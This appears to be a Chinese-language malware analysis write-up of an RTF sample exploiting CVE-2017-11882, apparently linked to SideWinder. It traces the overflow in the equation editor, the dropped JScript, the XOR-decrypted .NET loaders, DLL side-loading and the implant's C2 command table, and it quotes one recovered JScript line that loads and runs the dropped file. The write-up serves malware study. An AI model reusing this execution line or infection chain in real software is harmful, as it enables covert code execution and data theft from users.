训练样本三
基本信息
样本名:3ee30a5cac2bef034767e159865683df
分析环境及工具:windows7 x64 rtfobj 火绒剑 MicrosoftOffice2016 dnSpy
MD5:3ee30a5cac2bef034767e159865683df
命令: Exploit:CVE-2017-11882.ASK!MTB
行为预览
利用漏洞执行代码,可以控制用户电脑上传下载执行文件
具体分析
virustotal查询样本
经过网站的查询基本可以确定是个利用CVE-2017-11882漏洞的执行代码的样本,样本则是个RTF文档
通过winhex打开也能发现是rtf的
RTF文档格式简单解析
数据 | 解释 |
---|---|
01050000 | OLE Version |
02000000 | Format ID |
5061636b616765000000 | ProgName (OLE2Link) |
7dbc0d | Data Size |
也可以使用工具解析下,已经标出了哪里利用了CVE-2017-11882
也就是这里
oletools工具下载地址
动态调试office漏洞找到漏洞位置
- 漏洞的原因
该漏洞的成因是EQNEDT32.EXE进程在读入包含MathType的ole数据时,在拷贝公式字体名称时没有对名称长度进行校验,从而造成栈缓冲区溢出。
该漏洞出现在模块EQNEDT32.EXE中, 该模块为windows的公式编辑器。由于该模块对于输入的公式未做正确的处理,攻击者可以通过刻意构造的数据内容覆盖掉栈上的函数地址,从而劫持程序流程,执行任意命令。 - 设置调试器
所以我们需要打开文档的时候调试这个EQNEDT32.EXE这个程序设置即时调试程序
1. 打开注册表
2. 在HKEY_LOCAL_MACHINE\Software\Microsoftware\Windows NT\CurrentVersion\Image File Execution Options中寻找xxxx.exe文件夹
3. 如果这个文件夹不存在,那么就新建一个,例如:xxxx.exe
4. 在文件夹里新建一个字符串键,名称为debugger,值为x32dbg.exe
5. 如果使用的不是VC调试器,那么需要在环境变量中添加这个exe的启动路径 - 开始调试
在火绒剑监控里面可以看到释放了1.a文件
这里缺图
所以我们在CreateFile这个API那里下断点
进行栈回朔,里面可以发现一些执行JS脚本的命令,先记下
L"eval(\"sa=ActiveXObject;ab=new sa(\\\\\"Scripting.FileSystemObject\\\");eval(ab.OpenTextFile(ab.GetSpecialFolder(2)+\\\"\\\\\\\\1.a\\\",1).ReadAll());window.close()\")"
继续看,第一个主模块调用的函数417810
用ida观看,发现并不像漏洞的
继续看下一个这个的Copy有长度限制也不符合
再看下一个00411837的函数,这个一看发现就非常符合漏洞利用的情况
在这里下断点,可以看到覆盖了栈,现先要跳过去执行
转到内存观看
这就是执行的shellocde
利用shellode执行了1.a的js文件
分析1.a文件
- 准备调试JS的工具
这里我使用的是鬼鬼js调试工具
- 自写Base64解密字符串
- 进行解密
这里我用的自己写的base64工具进行解密并且写入文件
发现是个PE文件
把前面的那些头去掉,用CFF查看发现是个NET的dll
分析StInstaller.dll
拉入反汇编工具我们知道上面是Work是主要函数
检测白名单文件是否存在,若存在则拷贝到其工作目录下
设置自启动
释放对应的恶意dll和tmp文件以及配置的config文件
释放的名字为Duser.dll
这个StInstaller主要用来释放这几个文件
启动rekeywiz.exe,rekeywiz.exe会加载Duser.dll,这就是白加黑
分析Duser.dll
- 分析
先用CFF发现是个.NET的dll文件,导出函数为图下两个
直接放到dnSpy里面进行解析,可以看到这个dll的功能选取.tmp文件的前32字节当做秘钥,对后续的字节进行异或解密后,使用Assembly.Load 加载到内存执行。
- 编写代码解密
运行后解密出来的文件
分析SystemApp.dll
首先加载基础设置信息,设置两个时间回调函数GET函数,POST函数,通过基础配置Settings类的属性来判断是否需要获取系统信息,写入选择文件,最后执行两个时间回调函数GET,POST,执行时间是5000秒。
通过Settings的settingsFilePath来获取配置文件路径,然后通过Decode函数来加载到内存,在返回一个用配置文件信息初始化的Settings类,否则返回默认配置
这个字段可以看到之前我们JS解密的
解密函数和之前的一样,前32字节当做秘钥,对后续的字节进行异或解密
加密也差不多因为异或是可逆的
下载文件
process函数
Process函数主要将传入的数据文件解析执行,先申请出一个Loader类型,加载传入的data,然后将data解base64后,根据解码出来的数据的第一个byte来选择需要执行的功能
Case值 | 功能 |
---|---|
1 | 获取系统信息 写入.sif文件 |
2 | 获取文件列表 写入.flc文件 |
3 | 获取指定文件,先复制移动到.fls |
4 | 修改setting |
5 | 更新c2地址 |
6 | 准备上传文件 |
7 | 加载文件执行 |
8 | 设置文件最大尺寸 |
9 | 下载文件 |
参考文章
响尾蛇(SideWinder)
CVE-2017-11882及利用样本分析
Office文件格式基础知识
Office恶意文件解析与混淆研究